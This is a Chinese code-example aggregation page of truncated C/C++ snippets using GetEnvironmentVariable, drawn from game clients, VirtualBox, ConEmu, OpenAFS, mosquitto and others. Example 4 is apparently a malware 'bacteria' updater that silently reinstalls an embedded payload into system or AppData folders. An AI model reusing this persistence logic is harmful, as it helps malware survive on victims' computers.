本文整理汇总了C++中GetEnvironmentVariable函数的典型用法代码示例。如果您正苦于以下问题:C++ GetEnvironmentVariable函数的具体用法?C++ GetEnvironmentVariable怎么用?C++ GetEnvironmentVariable使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetEnvironmentVariable函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: DllMain
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
// Disable thread library notifications
DisableThreadLibraryCalls(hModule);
// Install the exception handler
CExceptionHandler::Install();
// Delete chatlog
CLogFile::Open("Chatlog.log");
CLogFile::Printf("New chatlog created!");
CLogFile::Close();
// Open the log file
CLogFile::Open("Client.log");
// Log the version
CLogFile::Printf(VERSION_IDENTIFIER "| " __DATE__ " - " __TIME__ "");
// Open the settings file
CSettings::Open(SharedUtility::GetAbsolutePath("clientsettings.xml"));
// Parse the command line
CSettings::ParseCommandLine(GetCommandLine());
// Load the global vars from the settings
g_strHost = CVAR_GET_STRING("ip");
g_usPort = CVAR_GET_INTEGER("port");
g_strNick = CVAR_GET_STRING("nick");
g_strPassword = CVAR_GET_STRING("pass");
g_bWindowedMode = CVAR_GET_BOOL("windowed");
g_bFPSToggle = CVAR_GET_BOOL("fps");
// IE9 fix - disabled if disableie9fix is set or shift is pressed
if(!CVAR_GET_BOOL("disableie9fix") || GetAsyncKeyState(VK_SHIFT) > 0)
{
// Get the version info
DWORD dwHandle;
DWORD dwSize = GetFileVersionInfoSize("wininet.dll", &dwHandle);
BYTE* byteFileInfo = new BYTE[dwSize];
GetFileVersionInfo("wininet.dll", dwHandle, dwSize, byteFileInfo);
unsigned int uiLen;
VS_FIXEDFILEINFO* fileInfo;
VerQueryValue(byteFileInfo, "\\", (LPVOID *)&fileInfo, &uiLen);
delete byteFileInfo;
// using IE9?
if(fileInfo->dwFileVersionMS == 0x90000)
{
// Try and load a wininet.dll from the iv:mp directory
if(!LoadLibrary(SharedUtility::GetAbsolutePath("wininet.dll")))
{
// Get path to it
char szFindPath[MAX_PATH] = {0};
char szWinSxsPath[MAX_PATH] = {0};
char szBuildVersion[] = "00000";
GetEnvironmentVariable("windir", szWinSxsPath, sizeof(szWinSxsPath));
strcat_s(szWinSxsPath, sizeof(szWinSxsPath), "\\WinSxS\\");
strcpy_s(szFindPath, sizeof(szFindPath), szWinSxsPath);
strcat_s(szFindPath, sizeof(szFindPath), "x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35*");
// try to find a usable wininet.dll in WinSXS (basically any non-9.x version)
bool bLoaded = false;
WIN32_FIND_DATA lpFindFileData;
HANDLE hFindFile = FindFirstFile(szFindPath, &lpFindFileData);
do
{
if(hFindFile == INVALID_HANDLE_VALUE)
break;
if(strlen(lpFindFileData.cFileName) > 63)
{
if(lpFindFileData.cFileName[62] < '9')
{
char szFullPath[MAX_PATH];
sprintf_s(szFullPath, MAX_PATH, "%s%s\\wininet.dll", szWinSxsPath, lpFindFileData.cFileName);
if(LoadLibrary(szFullPath))
{
CLogFile::Printf("Using %s to address IE9 issue", szFullPath);
bLoaded = true;
break;
}
}
}
}
while(FindNextFile(hFindFile, &lpFindFileData));
// Still failed, tell the user
if(!bLoaded)
{
if(MessageBox(0, "Unfortunately, you have Internet Explorer 9 installed which is not compatible with GTA:IV. Do you want proceed anyway (and possibly crash?)", "IV:MP", MB_YESNO | MB_ICONERROR) == IDNO)
{
// Doesn't want to continue
ExitProcess(0);
}
//.........这里部分代码省略.........
示例2: WinMain
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPSTR /*lpCmdLine*/, int /*nShowCmd*/)
{
LPCTSTR lpCmdLine = GetCommandLine(); /* this line necessary for _ATL_MIN_CRT */
/*
* Need to parse the command line before initializing the VBox runtime.
*/
TCHAR szTokens[] = _T("-/");
LPCTSTR lpszToken = FindOneOf(lpCmdLine, szTokens);
while (lpszToken != NULL)
{
if (WordCmpI(lpszToken, _T("Embedding")) == 0)
{
/* %HOMEDRIVE%%HOMEPATH% */
wchar_t wszHome[RTPATH_MAX];
DWORD cEnv = GetEnvironmentVariable(L"HOMEDRIVE", &wszHome[0], RTPATH_MAX);
if (cEnv && cEnv < RTPATH_MAX)
{
DWORD cwc = cEnv; /* doesn't include NUL */
cEnv = GetEnvironmentVariable(L"HOMEPATH", &wszHome[cEnv], RTPATH_MAX - cwc);
if (cEnv && cEnv < RTPATH_MAX - cwc)
{
/* If this fails there is nothing we can do. Ignore. */
SetCurrentDirectory(wszHome);
}
}
}
lpszToken = FindOneOf(lpszToken, szTokens);
}
/*
* Initialize the VBox runtime without loading
* the support driver.
*/
int argc = __argc;
char **argv = __argv;
RTR3InitExe(argc, &argv, 0);
/* Note that all options are given lowercase/camel case/uppercase to
* approximate case insensitive matching, which RTGetOpt doesn't offer. */
static const RTGETOPTDEF s_aOptions[] =
{
{ "--embedding", 'e', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "-embedding", 'e', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "/embedding", 'e', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "--unregserver", 'u', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "-unregserver", 'u', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "/unregserver", 'u', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "--regserver", 'r', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "-regserver", 'r', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "/regserver", 'r', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "--reregserver", 'f', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "-reregserver", 'f', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "/reregserver", 'f', RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },
{ "--helper", 'H', RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
{ "-helper", 'H', RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
{ "/helper", 'H', RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
{ "--logfile", 'F', RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
{ "-logfile", 'F', RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
{ "/logfile", 'F', RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },
{ "--logrotate", 'R', RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
{ "-logrotate", 'R', RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
{ "/logrotate", 'R', RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
{ "--logsize", 'S', RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },
{ "-logsize", 'S', RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },
{ "/logsize", 'S', RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },
{ "--loginterval", 'I', RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
{ "-loginterval", 'I', RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
{ "/loginterval", 'I', RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },
};
bool fRun = true;
bool fRegister = false;
bool fUnregister = false;
const char *pszPipeName = NULL;
const char *pszLogFile = NULL;
uint32_t cHistory = 10; // enable log rotation, 10 files
uint32_t uHistoryFileTime = RT_SEC_1DAY; // max 1 day per file
uint64_t uHistoryFileSize = 100 * _1M; // max 100MB per file
RTGETOPTSTATE GetOptState;
int vrc = RTGetOptInit(&GetOptState, argc, argv, &s_aOptions[0], RT_ELEMENTS(s_aOptions), 1, 0 /*fFlags*/);
AssertRC(vrc);
RTGETOPTUNION ValueUnion;
while ((vrc = RTGetOpt(&GetOptState, &ValueUnion)))
{
switch (vrc)
{
case 'e':
/* already handled above */
break;
case 'u':
fUnregister = true;
fRun = false;
break;
case 'r':
//.........这里部分代码省略.........
示例3: GetTime
// Helper function
bool GetTime(bool bSystem, LPSYSTEMTIME lpSystemTime)
{
bool bHacked = false;
wchar_t szEnvVar[32] = L""; // 2013-01-01T15:16:17.95
DWORD nCurTick = GetTickCount();
DWORD nCheckDelta = nCurTick - gnTimeEnvVarLastCheck;
const DWORD nCheckDeltaMax = 1000;
if (!gnTimeEnvVarLastCheck || (nCheckDelta >= nCheckDeltaMax))
{
gnTimeEnvVarLastCheck = nCurTick;
GetEnvironmentVariable(ENV_CONEMUFAKEDT_VAR_W, szEnvVar, countof(szEnvVar));
lstrcpyn(gszTimeEnvVarSave, szEnvVar, countof(gszTimeEnvVarSave));
}
else if (*gszTimeEnvVarSave)
{
lstrcpyn(szEnvVar, gszTimeEnvVarSave, countof(szEnvVar));
}
else
{
goto wrap;
}
if (*szEnvVar)
{
SYSTEMTIME st = {0}; FILETIME ft; wchar_t* p = szEnvVar;
if (!(st.wYear = LOWORD(wcstol(p, &p, 10))) || !p || (*p != L'-' && *p != L'.'))
goto wrap;
if (!(st.wMonth = LOWORD(wcstol(p+1, &p, 10))) || !p || (*p != L'-' && *p != L'.'))
goto wrap;
if (!(st.wDay = LOWORD(wcstol(p+1, &p, 10))) || !p || (*p != L'T' && *p != L' ' && *p != 0))
goto wrap;
// Possible format 'dd.mm.yyyy'? This is returned by "cmd /k echo %DATE%"
if (st.wDay >= 1900 && st.wYear <= 31)
{
WORD w = st.wDay; st.wDay = st.wYear; st.wYear = w;
}
// Time. Optional?
if (!p || !*p)
{
SYSTEMTIME lt; GetLocalTime(<);
st.wHour = lt.wHour;
st.wMinute = lt.wMinute;
st.wSecond = lt.wSecond;
st.wMilliseconds = lt.wMilliseconds;
}
else
{
if (((st.wHour = LOWORD(wcstol(p+1, &p, 10)))>=24) || !p || (*p != L':' && *p != L'.'))
goto wrap;
if (((st.wMinute = LOWORD(wcstol(p+1, &p, 10)))>=60))
goto wrap;
// Seconds and MS are optional
if ((p && (*p == L':' || *p == L'.')) && ((st.wSecond = LOWORD(wcstol(p+1, &p, 10))) >= 60))
goto wrap;
// cmd`s %TIME% shows Milliseconds as two digits
if ((p && (*p == L':' || *p == L'.')) && ((st.wMilliseconds = (10*LOWORD(wcstol(p+1, &p, 10)))) >= 1000))
goto wrap;
}
// Check it
if (!SystemTimeToFileTime(&st, &ft))
goto wrap;
if (bSystem)
{
if (!LocalToSystemTime(&ft, lpSystemTime))
goto wrap;
}
else
{
*lpSystemTime = st;
}
bHacked = true;
}
wrap:
return bHacked;
}
示例4: WinMain
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
#endif
{
HKEY hkey;
LONG result_open, result_write, result_close;
FILE *output = NULL;
char environment_var[MAX_ENVVAR_LENGTH];
char install_directory[MAX_DIR_LENGTH];
char value_data[MAX_KEY_VALUE_SIZE];
// errors and switches
bool systemroot_not_found = false;
bool admin_permission = true; // assume at first that we have permission
// initialize vars
memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
memset(install_directory, '\0', MAX_DIR_LENGTH);
memset(value_data, '\0', MAX_KEY_VALUE_SIZE);
#ifdef DEBUG
printf("Updater\n");
fflush(stdout);
#endif
// lets prepare the directory in which bacteria should be
GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH);
sprintf(install_directory, "%s\\" ADMIN_BACTERIA_INSTALL_DIR "\\" ADMIN_BACTERIA_FILENAME, environment_var);
// now lets check if it's there
if(!(fopen(install_directory, "r"))) {
// its not there, check for non admin bacteria placement
memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
memset(install_directory, '\0', MAX_DIR_LENGTH);
GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH);
sprintf(install_directory, "%s\\" LIMITED_BACTERIA_INSTALL_DIR "\\" LIMITED_BACTERIA_FILENAME, environment_var);
if(!(fopen(install_directory, "r"))) {
// bacteria is not in the system
// re-install it
memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
memset(install_directory, '\0', MAX_DIR_LENGTH);
// get systemroot
if(!(GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH))) {
if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {
// shit, we'll have to look someplace else
#ifdef DEBUG
printf("- Error, systemroot envvar not found\n");
#endif
systemroot_not_found = true;
} else {
// some unknown error
#ifdef DEBUG
printf("- Unknown error getting systemroot envvar\n");
#endif
return 0;
}
}
if(!systemroot_not_found) {
#ifdef DEBUG
printf("%%systemroot%% found.\n");
#endif
sprintf(install_directory, "%s\\" ADMIN_BACTERIA_INSTALL_DIR "\\" ADMIN_BACTERIA_FILENAME, environment_var);
if(!(output = fopen(install_directory, "wb"))) {
// we have concluded that the user doesn't have permissions
#ifdef DEBUG
printf("- Error opening %s. Assuming limited permissions.\n", install_directory);
#endif
admin_permission = false;
} else {
// successfully opened file
if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) {
#ifdef DEBUG
printf("- Error writing bacteria as admin.\n");
#endif
return 0;
} else {
#ifdef DEBUG
printf("- Successfully wrote bacteria as admin.\n");
#endif
}
fclose(output);
}
}
if(systemroot_not_found || !admin_permission) {
// since systemroot was not found
// assume that the user is not admin
admin_permission = false;
memset(environment_var, '\0', MAX_ENVVAR_LENGTH);
memset(install_directory, '\0', MAX_DIR_LENGTH);
// get appdata
if(!(GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH))) {
if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {
//.........这里部分代码省略.........
示例5: GetIoctlHandle
static long
GetIoctlHandle(char *fileNamep, HANDLE * handlep)
{
HKEY hk;
char *drivep = NULL;
char netbiosName[MAX_NB_NAME_LENGTH]="AFS";
DWORD CurrentState = 0;
char HostName[64] = "";
char tbuffer[MAX_PATH]="";
HANDLE fh;
char szUser[128] = "";
char szClient[MAX_PATH] = "";
char szPath[MAX_PATH] = "";
NETRESOURCE nr;
DWORD res;
DWORD ioctlDebug = IoctlDebug();
DWORD gle;
DWORD dwAttrib;
DWORD dwSize = sizeof(szUser);
BOOL usingRDR = FALSE;
int saveerrno;
UINT driveType;
int sharingViolation;
memset(HostName, '\0', sizeof(HostName));
gethostname(HostName, sizeof(HostName));
if (!DisableServiceManagerCheck() &&
GetServiceStatus(HostName, TEXT("TransarcAFSDaemon"), &CurrentState) == NOERROR &&
CurrentState != SERVICE_RUNNING)
{
if ( ioctlDebug ) {
saveerrno = errno;
fprintf(stderr, "pioctl GetServiceStatus(%s) == %d\r\n",
HostName, CurrentState);
errno = saveerrno;
}
return -1;
}
if (RDR_Ready()) {
usingRDR = TRUE;
if ( ioctlDebug ) {
saveerrno = errno;
fprintf(stderr, "pioctl Redirector is ready\r\n");
errno = saveerrno;
}
if (RegOpenKey (HKEY_LOCAL_MACHINE, AFSREG_CLT_SVC_PARAM_SUBKEY, &hk) == 0)
{
DWORD dwSize = sizeof(netbiosName);
DWORD dwType = REG_SZ;
RegQueryValueExA (hk, "NetbiosName", NULL, &dwType, (PBYTE)netbiosName, &dwSize);
RegCloseKey (hk);
if ( ioctlDebug ) {
saveerrno = errno;
fprintf(stderr, "pioctl NetbiosName = \"%s\"\r\n", netbiosName);
errno = saveerrno;
}
} else {
if ( ioctlDebug ) {
saveerrno = errno;
gle = GetLastError();
fprintf(stderr, "pioctl Unable to open \"HKLM\\%s\" using NetbiosName = \"AFS\" GLE=0x%x\r\n",
HostName, CurrentState, gle);
errno = saveerrno;
}
}
} else {
if ( ioctlDebug ) {
saveerrno = errno;
fprintf(stderr, "pioctl Redirector is not ready\r\n");
errno = saveerrno;
}
if (!GetEnvironmentVariable("AFS_PIOCTL_SERVER", netbiosName, sizeof(netbiosName)))
lana_GetNetbiosName(netbiosName,LANA_NETBIOS_NAME_FULL);
if ( ioctlDebug ) {
saveerrno = errno;
fprintf(stderr, "pioctl NetbiosName = \"%s\"\r\n", netbiosName);
errno = saveerrno;
}
}
if (fileNamep) {
drivep = strchr(fileNamep, ':');
if (drivep && (drivep - fileNamep) >= 1) {
tbuffer[0] = *(drivep - 1);
tbuffer[1] = ':';
tbuffer[2] = '\0';
driveType = GetDriveType(tbuffer);
switch (driveType) {
case DRIVE_UNKNOWN:
case DRIVE_REMOTE:
if (DriveIsMappedToAFS(tbuffer, netbiosName) ||
DriveIsGlobalAutoMapped(tbuffer))
strcpy(&tbuffer[2], SMB_IOCTL_FILENAME);
//.........这里部分代码省略.........
示例6: copy_executable_and_dump_data
void
copy_executable_and_dump_data (file_data *p_infile,
file_data *p_outfile)
{
unsigned char *dst, *dst_save;
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS nt_header;
PIMAGE_NT_HEADERS dst_nt_header;
PIMAGE_SECTION_HEADER section;
PIMAGE_SECTION_HEADER dst_section;
DWORD_PTR offset;
int i;
int be_verbose = GetEnvironmentVariable ("DEBUG_DUMP", NULL, 0) > 0;
#define COPY_CHUNK(message, src, size, verbose) \
do { \
unsigned char *s = (void *)(src); \
unsigned long count = (size); \
if (verbose) \
{ \
printf ("%s\n", (message)); \
printf ("\t0x%08x Offset in input file.\n", s - p_infile->file_base); \
printf ("\t0x%08x Offset in output file.\n", dst - p_outfile->file_base); \
printf ("\t0x%08x Size in bytes.\n", count); \
} \
memcpy (dst, s, count); \
dst += count; \
} while (0)
#define COPY_PROC_CHUNK(message, src, size, verbose) \
do { \
unsigned char *s = (void *)(src); \
unsigned long count = (size); \
if (verbose) \
{ \
printf ("%s\n", (message)); \
printf ("\t0x%p Address in process.\n", s); \
printf ("\t0x%p Base output file.\n", p_outfile->file_base); \
printf ("\t0x%p Offset in output file.\n", dst - p_outfile->file_base); \
printf ("\t0x%p Address in output file.\n", dst); \
printf ("\t0x%p Size in bytes.\n", count); \
} \
memcpy (dst, s, count); \
dst += count; \
} while (0)
#define DST_TO_OFFSET() PTR_TO_OFFSET (dst, p_outfile)
#define ROUND_UP_DST(align) \
(dst = p_outfile->file_base + ROUND_UP (DST_TO_OFFSET (), (align)))
#define ROUND_UP_DST_AND_ZERO(align) \
do { \
unsigned char *newdst = p_outfile->file_base \
+ ROUND_UP (DST_TO_OFFSET (), (align)); \
/* Zero the alignment slop; it may actually initialize real data. */ \
memset (dst, 0, newdst - dst); \
dst = newdst; \
} while (0)
/* Copy the source image sequentially, ie. section by section after
copying the headers and section table, to simplify the process of
dumping the raw data for the bss and heap sections.
Note that dst is updated implicitly by each COPY_CHUNK. */
dos_header = (PIMAGE_DOS_HEADER) p_infile->file_base;
nt_header = (PIMAGE_NT_HEADERS) (((DWORD_PTR) dos_header) +
dos_header->e_lfanew);
section = IMAGE_FIRST_SECTION (nt_header);
dst = (unsigned char *) p_outfile->file_base;
COPY_CHUNK ("Copying DOS header...", dos_header,
(DWORD_PTR) nt_header - (DWORD_PTR) dos_header, be_verbose);
dst_nt_header = (PIMAGE_NT_HEADERS) dst;
COPY_CHUNK ("Copying NT header...", nt_header,
(DWORD_PTR) section - (DWORD_PTR) nt_header, be_verbose);
dst_section = (PIMAGE_SECTION_HEADER) dst;
COPY_CHUNK ("Copying section table...", section,
nt_header->FileHeader.NumberOfSections * sizeof (*section),
be_verbose);
/* Align the first section's raw data area, and set the header size
field accordingly. */
ROUND_UP_DST_AND_ZERO (dst_nt_header->OptionalHeader.FileAlignment);
dst_nt_header->OptionalHeader.SizeOfHeaders = DST_TO_OFFSET ();
for (i = 0; i < nt_header->FileHeader.NumberOfSections; i++)
{
char msg[100];
/* Windows section names are fixed 8-char strings, only
zero-terminated if the name is shorter than 8 characters. */
sprintf (msg, "Copying raw data for %.8s...", section->Name);
dst_save = dst;
/* Update the file-relative offset for this section's raw data (if
it has any) in case things have been relocated; we will update
the other offsets below once we know where everything is. */
if (dst_section->PointerToRawData)
dst_section->PointerToRawData = DST_TO_OFFSET ();
//.........这里部分代码省略.........
示例7: CVAR_GET_STRING
bool CClient::OnLoad()
{
// Install the exception handler
CExceptionHandler::Install();
// Set our exception handler callback
CExceptionHandler::SetCallback(ExceptionHandlerCallback);
// jenksta: wtf?
// Delete chatlog
CLogFile::Open("Chatlog.log");
CLogFile::Printf("New chatlog created!");
CLogFile::Close();
// Open the log file
CLogFile::Open("Client.log");
// Log the version
CLogFile::Printf(VERSION_IDENTIFIER "| " __DATE__ " - " __TIME__ "");
// Open the settings file
CSettings::Open(SharedUtility::GetAbsolutePath("clientsettings.xml"));
// Parse the command line
CSettings::ParseCommandLine(GetCommandLine());
// Load the global vars from the settings
m_strHost = CVAR_GET_STRING("ip");
m_usPort = CVAR_GET_INTEGER("port");
m_strNick = CVAR_GET_STRING("nick");
m_strPassword = CVAR_GET_STRING("pass");
m_bWindowedMode = CVAR_GET_BOOL("windowed");
m_bFPSToggle = CVAR_GET_BOOL("fps");
m_strConnectHost = CVAR_GET_STRING("currentconnect_server");
m_usConnectPort = CVAR_GET_INTEGER("currentconnect_port");
// IE9 fix - disabled if disableie9fix is set or shift is pressed
if(!CVAR_GET_BOOL("disableie9fix") || GetAsyncKeyState(VK_SHIFT) > 0)
{
// Get the version info
DWORD dwHandle;
DWORD dwSize = GetFileVersionInfoSize("wininet.dll", &dwHandle);
BYTE* byteFileInfo = new BYTE[dwSize];
GetFileVersionInfo("wininet.dll", dwHandle, dwSize, byteFileInfo);
unsigned int uiLen;
VS_FIXEDFILEINFO* fileInfo;
VerQueryValue(byteFileInfo, "\\", (LPVOID *)&fileInfo, &uiLen);
delete byteFileInfo;
// using IE9?
if(fileInfo->dwFileVersionMS == 0x90000)
{
// Try and load a wininet.dll from the iv:mp directory
if(!LoadLibrary(SharedUtility::GetAbsolutePath("wininet.dll")))
{
// Get path to it
char szFindPath[MAX_PATH] = {0};
char szWinSxsPath[MAX_PATH] = {0};
char szBuildVersion[] = "00000";
GetEnvironmentVariable("windir", szWinSxsPath, sizeof(szWinSxsPath));
strcat_s(szWinSxsPath, sizeof(szWinSxsPath), "\\WinSxS\\");
strcpy_s(szFindPath, sizeof(szFindPath), szWinSxsPath);
strcat_s(szFindPath, sizeof(szFindPath), "x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35*");
// try to find a usable wininet.dll in WinSXS (basically any non-9.x version)
bool bLoaded = false;
WIN32_FIND_DATA lpFindFileData;
HANDLE hFindFile = FindFirstFile(szFindPath, &lpFindFileData);
do
{
if(hFindFile == INVALID_HANDLE_VALUE)
break;
if(strlen(lpFindFileData.cFileName) > 63)
{
if(lpFindFileData.cFileName[62] < '9')
{
char szFullPath[MAX_PATH];
sprintf_s(szFullPath, MAX_PATH, "%s%s\\wininet.dll", szWinSxsPath, lpFindFileData.cFileName);
if(LoadLibrary(szFullPath))
{
CLogFile::Printf("Using %s to address IE9 issue", szFullPath);
bLoaded = true;
break;
}
}
}
}
while(FindNextFile(hFindFile, &lpFindFileData));
// Still failed, tell the user
if(!bLoaded)
{
if(MessageBox(0, "Unfortunately, you have Internet Explorer 9 installed which is not compatible with GTA:IV. Do you want proceed anyway (and possibly crash?)", "IV:MP", MB_YESNO | MB_ICONERROR) == IDNO)
{
// Doesn't want to continue
return false;
}
//.........这里部分代码省略.........
示例8: Restore_safemode
void Restore_safemode()
{
OSVERSIONINFO OSversion;
OSversion.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&OSversion);
if(OSversion.dwMajorVersion<6)
{
char drivepath[150];
char systemdrive[150];
char stringvalue[512];
GetEnvironmentVariable("SYSTEMDRIVE", systemdrive, 150);
strcat (systemdrive,"/boot.ini");
GetPrivateProfileString("boot loader","default","",drivepath,150,systemdrive);
if (strlen(drivepath)==0) return;
GetPrivateProfileString("operating systems",drivepath,"",stringvalue,512,systemdrive);
if (strlen(stringvalue)==0) return;
char* p = strrchr(stringvalue, '/');
if (p == NULL) return;
*p = '\0';
WritePrivateProfileString("operating systems",drivepath,stringvalue,systemdrive);
SetFileAttributes(systemdrive,FILE_ATTRIBUTE_READONLY);
}
else
{
#ifdef _X64
char systemroot[150];
GetEnvironmentVariable("SystemRoot", systemroot, 150);
char exe_file_name[MAX_PATH];
char parameters[MAX_PATH];
strcpy(exe_file_name,systemroot);
strcat(exe_file_name,"\\system32\\");
strcat(exe_file_name,"bcdedit.exe");
strcpy(parameters,"/deletevalue safeboot");
SHELLEXECUTEINFO shExecInfo;
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
shExecInfo.fMask = 0;
shExecInfo.hwnd = GetForegroundWindow();
shExecInfo.lpVerb = "runas";
shExecInfo.lpFile = exe_file_name;
shExecInfo.lpParameters = parameters;
shExecInfo.lpDirectory = NULL;
shExecInfo.nShow = SW_HIDE;
shExecInfo.hInstApp = NULL;
ShellExecuteEx(&shExecInfo);
#else
typedef BOOL (WINAPI *LPFN_Wow64DisableWow64FsRedirection)(PVOID* OldValue);
typedef BOOL (WINAPI *LPFN_Wow64RevertWow64FsRedirection)(PVOID OldValue);
PVOID OldValue;
LPFN_Wow64DisableWow64FsRedirection pfnWow64DisableWowFsRedirection = (LPFN_Wow64DisableWow64FsRedirection)GetProcAddress(GetModuleHandle("kernel32"),"Wow64DisableWow64FsRedirection");
LPFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = (LPFN_Wow64RevertWow64FsRedirection)GetProcAddress(GetModuleHandle("kernel32"),"Wow64RevertWow64FsRedirection");
if (pfnWow64DisableWowFsRedirection && pfnWow64RevertWow64FsRedirection) ///win32 on x64 system
{
if(TRUE == pfnWow64DisableWowFsRedirection(&OldValue))
{
char systemroot[150];
GetEnvironmentVariable("SystemRoot", systemroot, 150);
char exe_file_name[MAX_PATH];
char parameters[MAX_PATH];
strcpy(exe_file_name,systemroot);
strcat(exe_file_name,"\\system32\\");
strcat(exe_file_name,"bcdedit.exe");
strcpy(parameters,"/deletevalue safeboot");
SHELLEXECUTEINFO shExecInfo;
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
shExecInfo.fMask = 0;
shExecInfo.hwnd = GetForegroundWindow();
shExecInfo.lpVerb = "runas";
shExecInfo.lpFile = exe_file_name;
shExecInfo.lpParameters = parameters;
shExecInfo.lpDirectory = NULL;
shExecInfo.nShow = SW_HIDE;
shExecInfo.hInstApp = NULL;
ShellExecuteEx(&shExecInfo);
pfnWow64RevertWow64FsRedirection(OldValue);
}
else
{
char systemroot[150];
GetEnvironmentVariable("SystemRoot", systemroot, 150);
char exe_file_name[MAX_PATH];
char parameters[MAX_PATH];
strcpy(exe_file_name,systemroot);
strcat(exe_file_name,"\\system32\\");
strcat(exe_file_name,"bcdedit.exe");
strcpy(parameters,"/deletevalue safeboot");
SHELLEXECUTEINFO shExecInfo;
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
shExecInfo.fMask = 0;
shExecInfo.hwnd = GetForegroundWindow();
shExecInfo.lpVerb = "runas";
shExecInfo.lpFile = exe_file_name;
shExecInfo.lpParameters = parameters;
shExecInfo.lpDirectory = NULL;
shExecInfo.nShow = SW_HIDE;
shExecInfo.hInstApp = NULL;
ShellExecuteEx(&shExecInfo);
}
}
else //win32 on W32
{
//.........这里部分代码省略.........
示例9: client_config_load
int client_config_load(struct mosq_config *cfg, int pub_or_sub, int argc, char *argv[])
{
int rc;
FILE *fptr;
char line[1024];
int count;
char *loc = NULL;
int len;
char *args[3];
#ifndef WIN32
char *env;
#else
char env[1024];
#endif
args[0] = NULL;
init_config(cfg);
/* Default config file */
#ifndef WIN32
env = getenv("XDG_CONFIG_HOME");
if(env) {
len = strlen(env) + strlen("/mosquitto_pub") + 1;
loc = malloc(len);
if(pub_or_sub == CLIENT_PUB) {
snprintf(loc, len, "%s/mosquitto_pub", env);
} else {
snprintf(loc, len, "%s/mosquitto_sub", env);
}
loc[len-1] = '\0';
} else {
env = getenv("HOME");
if(env) {
len = strlen(env) + strlen("/.config/mosquitto_pub") + 1;
loc = malloc(len);
if(pub_or_sub == CLIENT_PUB) {
snprintf(loc, len, "%s/.config/mosquitto_pub", env);
} else {
snprintf(loc, len, "%s/.config/mosquitto_sub", env);
}
loc[len-1] = '\0';
} else {
fprintf(stderr, "Warning: Unable to locate configuration directory, default config not loaded.\n");
}
}
#else
rc = GetEnvironmentVariable("USERPROFILE", env, 1024);
if(rc > 0 && rc < 1024) {
len = strlen(env) + strlen("\\mosquitto_pub.conf") + 1;
loc = malloc(len);
if(pub_or_sub == CLIENT_PUB) {
snprintf(loc, len, "%s\\mosquitto_pub.conf", env);
} else {
snprintf(loc, len, "%s\\mosquitto_sub.conf", env);
}
loc[len-1] = '\0';
} else {
fprintf(stderr, "Warning: Unable to locate configuration directory, default config not loaded.\n");
}
#endif
if(loc) {
fptr = fopen(loc, "rt");
if(fptr) {
while(fgets(line, 1024, fptr)) {
if(line[0] == '#') continue; /* Comments */
while(line[strlen(line)-1] == 10 || line[strlen(line)-1] == 13) {
line[strlen(line)-1] = 0;
}
/* All offset by one "args" here, because real argc/argv has
* program name as the first entry. */
args[1] = strtok(line, " ");
if(args[1]) {
args[2] = strtok(NULL, " ");
if(args[2]) {
count = 3;
} else {
count = 2;
}
rc = client_config_line_proc(cfg, pub_or_sub, count, args);
if(rc) {
